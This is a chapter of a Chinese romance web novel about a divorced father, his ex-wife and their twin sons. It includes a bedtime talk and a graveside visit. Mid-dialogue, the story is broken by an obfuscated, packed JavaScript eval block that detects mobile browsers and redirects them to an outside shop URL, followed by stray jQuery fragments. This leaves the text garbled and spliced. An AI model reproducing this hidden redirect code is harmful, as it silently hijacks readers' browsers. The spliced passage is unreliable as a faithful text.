她的脸那么近,嘴唇紧闭,眼神坚定,甄世明觉得自己真的荒唐极了,竟然在这种时候搏起。
他缓缓松开方楷莹的衣领,压下满肚子火,重新平静气息,“我不想和你吵架。”
“我也不想和你吵架。”方楷莹无意见他眉心皱起的纹路,忽然想起那位年轻母亲眼角的深纹。
他可能太累了,没心思和她吵架。
方楷莹冷静下来反思,这五年以来,孩子怎么可能不生病呢?那些时刻陪在孩子身边的是甄世明,他只是在意孩子,她也许把在意理解成了敌意。
这么一想,她也柔缓下来:“我是说,既然你已经有了新家庭,我现在也有能力照顾橙橙和芯芯...”
甄世明一摆手,“我不想听你说这些,就算我有了新家庭,橙橙和芯芯也是我的孩子,是我甄家的孩子。”
那张照片是甄世明故意摆放的,他料定那男人会告诉她,但就连甄世明自己都不知道出于什么目的,他只想要她难受,最像她当年走时,他难受那样难受。
方楷莹也确实难受了,担心孩子会受到不公平的对待,她对甄世明说:“有后妈就有后爸。”
这话是妈妈方霞经常挂在嘴边的,这个为方楷莹操劳一生的女人,最庆幸的是那个男人没有带走她的孩子,她把这句话讲了二十几年,方楷莹听了二十几年。
没想过有一天也能从她口中说出。
甄世明对这句话嗤之以鼻,讽道:“没想到方教授现在这么接地气,你放心,我结十次婚,有一百个孩子,甄橙和甄芯都是我儿子,这种废话你留着和家里那个废物说吧。”
方楷莹翻起白眼,“我在和你好好谈,你一定要这么刻薄吗?”
甄世明保持着不远不近不软不硬的安全距离。
“一定要。”
方楷莹无言,她不像甄世明牙尖嘴利,气得手抖也再说不出花样繁多的怨怼之言,狠跺一脚地面也无事发生。
倒是甄世明忽然低头笑了下,方楷莹的气急败坏,让他特别愉悦。
“我现在没心情跟你谈,你有时间来我公司谈,记得预约。”甄世明一本正经地说:“现在,我要带着我儿子回家休养,可能还会暴揍芯芯一顿。”
“你!”
方楷莹还没想出痛骂的词汇,甄世明可不等她,转身迈开长腿离去。
这个混蛋!
-
回家路上,甄世明一言不发,坐在后排的芯芯把手指缠绞在一起,橙橙则叽里呱啦呼痛。
快到家时芯芯才低声地说:“爸爸,对不起。”
甄世明回头看了一眼芯芯瘪起的嘴巴,什么气都消了,“我只是担心你受伤害,谁也不能保证每个人都是好人,我以前教过你,不要随便相信别人。”
“方阿姨不会伤害我,我相信她。”芯芯肯定地说,橙橙也大声应和:“我也觉得方阿姨是好人!不是坏人!”
甄世明沉默,凭什么他养了五年的儿子只见过方楷莹两次就无条件相信,是她天生招孩子喜欢?是血缘?
不不,是两个小白眼儿狼!
他懒得再反驳。
橙橙换药之后的状态也需要特别关注,所以甄世明晚上还是让橙橙睡在主卧,芯芯也抱着自己的小枕头钻进卧室。
一左一右的小男孩睡觉都不老实,多大的床都能睡得乱七八糟,最要命的是橙橙还偏要往爸爸怀里蹭,小男孩的圆圆硬硬的肩头在甄世明的胸口来回扎碾,他烦得不行。
“你能不能睡觉老实点儿?”
芯芯已经睡着,甄世明只能放低声音训斥。
橙橙睁开着无辜的大眼睛,黑溜溜的葡萄一样,“爸爸,我睡不着,在想方阿姨。”
“......想她干什么?”甄世明闭着眼睛皱起眉。
橙橙试探着问道:“爸爸,你喜欢方阿姨吗?”
甄世明半睁开眼睨去,小男孩侧躺,单手支着下巴若有所思。
“为什么这么问?”
橙橙把头一歪,看着爸爸说:“爸爸你经常生我们的气,但你说是因为在乎我们才生气,你今天也和方阿姨生气了。”
甄世明:“那是因为她做了错事。”
“我觉得不是,就像我喜欢子涵,别的小朋友我都不在乎,他们怎么惹我我都不生气,但我总跟子涵生气,今天爸爸对方阿姨发了好大的火,所以我觉得爸爸喜欢方阿姨。”
什么狗屁逻辑。
“不喜欢。”甄世明挥臂把孩子按下平躺,满不在意地说:“我看她就来气。”
“别人问我,我也说我不喜欢子涵,我说子涵喜欢我,”橙橙双手垫在脑后,傲娇道:“不然太没面儿了。”
甄世明眉心抽动,“再不睡觉我就把你被姑姑打哭的视频发给子涵妈妈。”
橙橙抿住嘴唇,拿被子盖在脸上。
世界终于清静了,一分钟。
橙橙最近每天在家歇着,晚上精力特别充沛,小嘴巴更是一刻不闲,这会儿又闷在被子里说话,只是声音变得很软很犹豫:“爸爸,如果...妈妈不回来了,你又喜欢方阿姨的话,我和芯芯也会喜欢方阿姨。”
小孩儿短暂地叹气声让甄世明无法入睡,他不能忽视儿子的想法,把橙橙揽紧了些,“如果妈妈回来呢?”
孩子的脑袋从被子里钻出来,坚定地说:“那你就不能喜欢方阿姨了!妈妈会伤心的!所以我说的是如果……”
橙橙早慧早言,最先发现自己只有爸爸,没有妈妈,也多次问过他,甄世明只能回答妈妈去了很远的地方。
后来有一次参加祖母的葬礼,其他大人也跟橙橙说祖母去了很远的地方,只有姑姑给他上了堂死亡教育课,他明白过来,当即抹着眼泪跑到甄世明身边,抱住他的腿问妈妈是不是也死了。
那场面,才叫丢脸。
后来甄世明认真地告诉橙橙,妈妈去了很远的地方当科学家,在做很有意义的工作,没办法回家,不是死了。
在小孩子的单纯世界里,科学家大概是最厉害的人,橙橙没见过妈妈,却崇拜着他想象中的科学家妈妈。
现在,他也要维护她。
“妈妈伤心的话,橙橙和芯芯也会伤心。”橙橙把手放在甄世明胸口,小拳头仿佛在捶打他的良心,“爸爸也会伤心吧?”
甄世明不知道该怎么回答,关于母亲的话题,父子俩聊得少之又少。
“如果...”
方阿姨就是你的妈妈呢?
甄世明犹豫很久,还是没能问出口,把橙橙的良心之锤挪开。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816791|190925||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡觉!”
-
方楷莹在霜降这天清晨去了墓地。
天气开始转凉,微风挟着晨雾吹在脸上,方楷莹穿单薄的墨绿色风衣走来,两手空空,插进口袋,站立墓碑前,身段像笔直的竹。
墓碑前绽放的白菊凝结晨露,
崭新的一束。
她与毫无生气的女人对视,女人被框进黑白的世界,微笑的脸庞和方楷莹记忆中不同,她记得母亲的嘴唇总是向下瘪着,干瘦的身体很有力量,扇巴掌的声音像小孩子玩的摔炮炸开。
当然,她从来没有打过方楷莹,耳光是落在甄世明脸上的。
方楷莹动了动唇,“来看你了。”
深情的话方楷莹说不出,哭也哭不出来。
有的孩子生下来是报恩的,有的孩子生下来是讨债的,方楷莹大概属于后者。
方楷莹五岁开始进行治疗,方霞用负心人留下的存折支付高昂的医疗费,用比正常孩子母亲十倍百倍的精力关注方楷莹。
母亲事无巨细地关照她、保护她,把她捆在身边,拴在眼前,想尽办法杜绝一切接触坏人的可能,她总是害怕方楷莹被欺负。
方楷莹小时候也听话,参加各种比赛,拿许多奖金,初中就接触了科学研究院,但对于邀约,母亲却独断地拒绝,理由是她的孩子还小,不能离开她。
直到方楷莹上大学,母亲为了陪她,卖了南城的房子,举家搬迁来到京市,哪怕是租下老破小,也要离方楷莹的学校近一点。
她要方楷莹按照正常孩子那样去生活学习,在她严密的保护下慢慢长大,比别的孩子更慢一点也可以,她可以晚一点恋爱结婚。
天下母亲都不希望孩子的人生出现意外,可惜人算不如天算。
方霞死前大概恨透了甄世明,会不会也还恨抛弃她的男人,会不会恨她这个只叛逆过一次的女儿呢?
无从知晓,人死尘埃落。
方楷莹在墓碑前站了会儿,临走前说:“方楷杰让我来的,他在肯尼亚呆了两年,做各种公益项目,现在在坦桑尼亚保护野生动物,心很开阔,不会再为了爱情要死要活,以后估计也不会回国了,我…以后会经常来的。”
照片里的女人只是微笑着,方楷莹扯了扯唇,回应了一个微笑。
往回走,经过很多杂草丛生的墓碑,那些逝去的人在亲友的记忆中又死一遍,连墓碑前的花也只剩枯枝落叶。
方楷莹忽然停住脚步,回头望。
母亲墓前的白菊正盛放,
在一片破败中崭新。
她的心沉沉坠下,快步走到管理处询问。
“方女士的墓我们有好好打理的,一位姓郑的先生交了大笔管理费,每年清明还会带孩子过来祭拜。”
“郑?”
“是,特别孝顺,一来就呆一上午。”
方楷莹没再问什么,脑海空白,心中却忽的怅然,她和方楷杰都不算孝顺的子女,这几年各在国外,都不能来母亲墓前,只能远远惦记一二。
她把甄世明从黑名单里拉出,拨电话过去,响了很久才接通,开口便问:“我妈的墓是你在打理吗?”
甄世明那边刚睡醒,人沉默了会儿,语气慵懒且不耐烦:“大清早跟我说你妈的墓,你真会挑时间。”